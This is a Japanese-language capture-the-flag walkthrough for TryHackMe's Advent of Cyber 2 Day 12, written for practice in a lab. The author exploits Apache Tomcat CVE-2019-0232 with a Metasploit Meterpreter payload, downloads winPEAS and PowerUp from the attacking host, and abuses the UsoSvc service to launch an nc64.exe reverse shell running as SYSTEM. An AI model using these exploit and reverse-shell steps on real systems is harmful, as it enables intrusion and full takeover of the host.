本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。
『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。
[Day 12] Networking: Ready, set, elf.
ストーリー
クリスマスが間近に迫っていますが、**The Best Festival Company(TBFC)**では皆が沈黙しています。何をしているのでしょうか。祭りの時期に怠けている妖精たちの頬!サンタさんの仕事場では怠け者のための時間はありません。そりが満杯になることもないし、善人と悪人のリストも整理されない。サンタさんは、エルフ・McEagerに怠け者のエルフをラインに戻すよう命じました。
チャレンジ
仕事場で怠けているエルフ・McSkidyの問題を解決するために、彼はCGIスクリプト
elfwhacker.bat
を作成しました。このタスクに関連付けられたインスタンスをデプロイし、「Day 8 - What's Under the Christmas Tree?」で習得した
nmap
のスキルを使用して、Webサーバ(MACHINE_IP
)がどのポートで実行されているかを確認します...。アプリケーションにアクセスして、インストールバージョンを特定し、ナレッジベースでエクスプロイトとMeterpreterペイロードを検索することで、この情報を武器化し、それらでエルフを叩きます!
ボーナス
エントリーを取得した後、特権にエスカレートする方法は少なくとも2つあります。これらを見つけ出して、自由にピポットしてください!
Day 12 - #1.
What is the version number of the web server?
IPアドレス MACHINE_IP
をtbfc.web
として、/etc/hosts
に追加します。その上で、nmap
を使用し、ポートスキャンを実行します。
kali@kali:~$ nmap -Pn -T4 -A -vv tbfc.web
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-12 23:34 EST
Nmap scan report for tbfc.web (10.10.194.22)
Host is up, received user-set (0.29s latency).
Scanned at 2020-12-12 23:34:24 EST for 127s
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT STATE SERVICE REASON VERSION
3389/tcp open ssl/ms-wbt-server? syn-ack
| rdp-ntlm-info:
| Target_Name: TBFC-WEB-01
| NetBIOS_Domain_Name: TBFC-WEB-01
| NetBIOS_Computer_Name: TBFC-WEB-01
| DNS_Domain_Name: tbfc-web-01
| DNS_Computer_Name: tbfc-web-01
| Product_Version: 10.0.17763
|_ System_Time: 2020-12-13T04:36:26+00:00
| ssl-cert: Subject: commonName=tbfc-web-01
| Issuer: commonName=tbfc-web-01
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-11-27T01:29:04
| Not valid after: 2021-05-29T01:29:04
| MD5: 00ab 1b83 e8e5 f516 f148 d602 2dea 18f4
| SHA-1: bd1d 6535 5d3c 80a3 8a5f 98dd 8f98 44ee 9320 509e
| -----BEGIN CERTIFICATE-----
| MIIC2jCCAcKgAwIBAgIQOyiq2CSH3LdOGa2wARDCfTANBgkqhkiG9w0BAQsFADAW
| MRQwEgYDVQQDEwt0YmZjLXdlYi0wMTAeFw0yMDExMjcwMTI5MDRaFw0yMTA1Mjkw
| MTI5MDRaMBYxFDASBgNVBAMTC3RiZmMtd2ViLTAxMIIBIjANBgkqhkiG9w0BAQEF
| AAOCAQ8AMIIBCgKCAQEAxWQ0kuM5lP6UP6/KtuBNHyu/xFO8H1jG+YVc+srrYdVl
| EgUgMuDrj+mcejNw+2jKEZc4hfMiEGzFtfUypmJjW6WadscyP/uxcKGyPEU4o33M
| V38Quzp6CRe5BpCbtOAMXJ99hmaRFBzh5z4HmPYMhsmRceam1CMx6GtTyY8pjTgn
| yxTLSSvWdg92PB5FCxylTPDIlCpLYac4fFeqVnTvugWZ882PbWHHRN4nAxsU0mnv
| CQpH5r7zr8GTTc+fG9j3jPQcxP1I/GO5s117lq2iyIK/x1S1ZpbeuceqtDIlPUM0
| lVfNp/LxqqrkjBRyn0bR+ftNAtdK28NrX87oLsgVHQIDAQABoyQwIjATBgNVHSUE
| DDAKBggrBgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBABrI
| X16ql60/xDz/hyTb6M6lcXC9UZqug7mJ0DwffL3tYTlNmde/wFcY3Xj7+GgCoSKc
| SVy5D2DeOWOTWrQ4miSqVp1DwmhCSjpJyDOy+Ns+sQLtU2WAHTecmOHjo3IES9N5
| W0kf8XLH88SEEJ9iWGNapMdPXghC6ZgtiGmvX+ODyLjiAwydgaTW3wtuxvPmxfXM
| +2rZYgUBEi5Kk05pcfsBCiF+WHGhNSMdqbX6vCwj/VNemuhQvlTAJxCjXnJ1KXMd
| 8dNb/eirXjvweNrpe71ZO8n1Vn44ItIyY4+5uPSSHdA/bb5BdpVWUDUSxSNCv+G0
| 0idfFvU5QMfmTqzONik=
|_-----END CERTIFICATE-----
|_ssl-date: 2020-12-13T04:36:31+00:00; 0s from scanner time.
8009/tcp open ajp13 syn-ack Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http syn-ack Apache Tomcat 9.0.17
|_http-favicon: Apache Tomcat
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/9.0.17
Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 23:36
Completed NSE at 23:36, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.78 seconds
Webサーバが8080
ポートにて稼働していることが特定できました。
[チャレンジ]
に記載のCGIスクリプトelfwhacker.bat
の動作を確認してみます。
http://tbfc.web:8080/cgi-bin/elfwhacker.bat
Day 12 - #2.
What CVE can be used to create a Meterpreter entry onto the machine? (Format: CVE-XXXX-XXXX)
searchsploit
コマンドを使って、Exploit-DBに掲載されているexploitコードを検索してみます。
kali@kali:~$ searchsploit -w tomcat 9.0
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Exploit Title | URL
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1) | https://www.exploit-db.com/exploits/42953
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2) | https://www.exploit-db.com/exploits/42966
Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape | https://www.exploit-db.com/exploits/47892
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results
3つの候補がヒットしました。しかしながら、これらはいずれも正解ではありません。
行き詰まったので[Question Hint]
を参照してみました。
ヒントを頼りに再びsearchsploit
で検索してみます。
kali@kali:~$ searchsploit -w Tomcat CGI
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Exploit Title | URL
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (Metasploit) | https://www.exploit-db.com/exploits/47073
AWStats 6.x - Apache Tomcat Configuration File Arbitrary Command Execution | https://www.exploit-db.com/exploits/35035
-------------------------------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results
どうやらそれらしきExploitを特定することができました。
今回の場合、CVE Detailsを使った方が、正解にたどり着きやすかったのかもしれません。
EDB-ID: | CVE: |
---|---|
42953 | 2017-12615 |
42966 | 2017-12617 |
47892 | N/A |
47073 | 2019-0232 |
Day 12 - #3.
Set your Metasploit settings appropriately and gain a foothold onto the deployed machine.
攻撃モジュールの検索
Metasploit Framework
にてEDB-ID: 47073に該当するコードを検索してみます。
kali@kali:~$ msfconsole -q
msf5 > search CVE-2019-0232
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/tomcat_cgi_cmdlineargs 2019-04-10 excellent Yes Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
攻撃モジュールの設定
use
コマンドで先ほど検索したexploit/windows/http/tomcat_cgi_cmdlineargs
モジュールの使用を宣言します。
宣言に成功すると、プロンプトがmsf5 exploit(windows/http/tomcat_cgi_cmdlineargs) >
に変わります。
モジュールで設定すべき項目をshow options
コマンドにて確認します。
このうち、[Required]
が[yes]
になっている項目は設定必須項目です。
値を設定するにはset
コマンドを使用します。
msf5 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > show options
Module options (exploit/windows/http/tomcat_cgi_cmdlineargs):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.46.5 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /cgi-bin/elfwhacker.bat yes The URI path to CGI script
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.11.19.198 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Apache Tomcat 9.0 or prior for Windows
攻撃モジュールの実行
exploit
コマンドにて、エクスプロイトコードを実行します。
攻撃端末にてtbfc.web
システムのコマンドを実行するには、shell
を使用します。これにて自由にコマンドを実行することが可能です。
meterpreter > shell
Process 3792 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>
Day 12 - #4.
What are the contents of flag1.txt
flag1.txt
はC:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin
ディレクトリに配置されています。
C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>dir
dir
Volume in drive C has no label.
Volume Serial Number is 4277-4242
Directory of C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin
13/12/2020 12:38 <DIR> .
13/12/2020 12:38 <DIR> ..
19/11/2020 21:39 825 elfwhacker.bat
19/11/2020 22:06 27 flag1.txt
13/12/2020 12:38 73,802 Wpuzr.exe
3 File(s) 74,654 bytes
2 Dir(s) 13,492,957,184 bytes free
C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>type flag1.txt
type flag1.txt
thm{whac{BLOCKED}lves}
Day 12 - #5.
Looking for a challenge? Try to find out some of the vulnerabilities present to escalate your privileges!
「WinPEAS - Windows Privilege Escalation Awesome Scripts」ツールを使ってシステム探索を行います。
システム探索: WinPEAS
tbfc.web
へwinPEASx64.exe
を送信します。
まず、攻撃端末にてSimpleHTTPServer
を立ち上げます。
kali@kali:~/OffsecVM/bin/win$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.10.167.174 - - [13/Dec/2020 09:21:01] "GET /winPEASx64.exe HTTP/1.1" 200 -
tbfc.web
にてpowershell
を起動し、攻撃端末からwinPEASx64.exe
をダウンロードします。
c:\>mkdir temp
mkdir temp
A subdirectory or file temp already exists.
c:\>cd temp
cd temp
c:\temp>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\temp> Invoke-WebRequest "http://10.11.19.198:8080/winPEASx64.exe" -OutFile "winPEASx64.exe"
Invoke-WebRequest "http://10.11.19.198:8080/winPEASx64.exe" -OutFile "winPEASx64.exe"
PS C:\temp> exit
exit
c:\temp>
winPEASx64.exe
を実行します。
[?] Windows vulns search powered by Watson(https://github.com/rasta-mouse/Watson)
OS Build Number: 17763
[!] CVE-2019-1315 : VULNERABLE
[>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html
[!] CVE-2019-1385 : VULNERABLE
[>] https://www.youtube.com/watch?v=K6gHnr-VkAg
[!] CVE-2019-1388 : VULNERABLE
[>] https://github.com/jas502n/CVE-2019-1388
[!] CVE-2019-1405 : VULNERABLE
[>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
Finished. Found 4 potential vulnerabilities.
システム探索: PowerUp
同様に「PowerUp.ps1」スクリプトを攻撃端末からダウンロードして、システム探索を行います。
PS C:\temp> Import-Module c:\temp\PowerUp.ps1
Import-Module c:\temp\PowerUp.ps1
PS C:\temp> .\powerup.ps1
.\powerup.ps1
PS C:\temp> Invoke-AllChecks
Invoke-AllChecks
[*] Running Invoke-AllChecks
[+] Current user already has local administrative privileges!
[*] Checking for unquoted service paths...
[*] Checking service executable and argument permissions...
ServiceName : PsShutdownSvc
Path : C:\Windows\PSSDNSVC.EXE
ModifiableFile : C:\Windows\PSSDNSVC.EXE
StartName : LocalSystem
AbuseFunction : Install-ServiceBinary -ServiceName 'PsShutdownSvc'
特権昇格:UsoSvcサービス
[*] Checking service permissions...
項目に注目します。
SYSTEM特権で実行されているUsoSvc
(Update Orchestrator Service)の変更が可能であることに着目してください。
[*] Checking service permissions...
ServiceName : UsoSvc
Path : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -ServiceName 'UsoSvc'
UsoSvc
サービスを再構成します。nc64.exe
を起動しSYSTEM
特権のリバースシェルを確立することが狙いです。
PS C:\temp> Invoke-ServiceAbuse -ServiceName 'UsoSvc' -Command 'C:\temp\nc64.exe -e cmd.exe 10.11.19.198 5555'
Invoke-ServiceAbuse -ServiceName 'UsoSvc' -Command 'C:\temp\nc64.exe -e cmd.exe 10.11.19.198 5555'
kali@kali:~$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.11.19.198] from (UNKNOWN) [10.10.31.160] 49852
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname && whoami
hostname && whoami
tbfc-web-01
nt authority\system
C:\Windows\system32>
参考になるTryHackMeのルーム
Walkthrough
- BRYAN WENDT, [TryHackMe – Advent of Cyber 2 – Day 12 – Walkthrough]
- NEERANJAN MURUGAN, Advent of Cyber 2 ~ Try Hack Me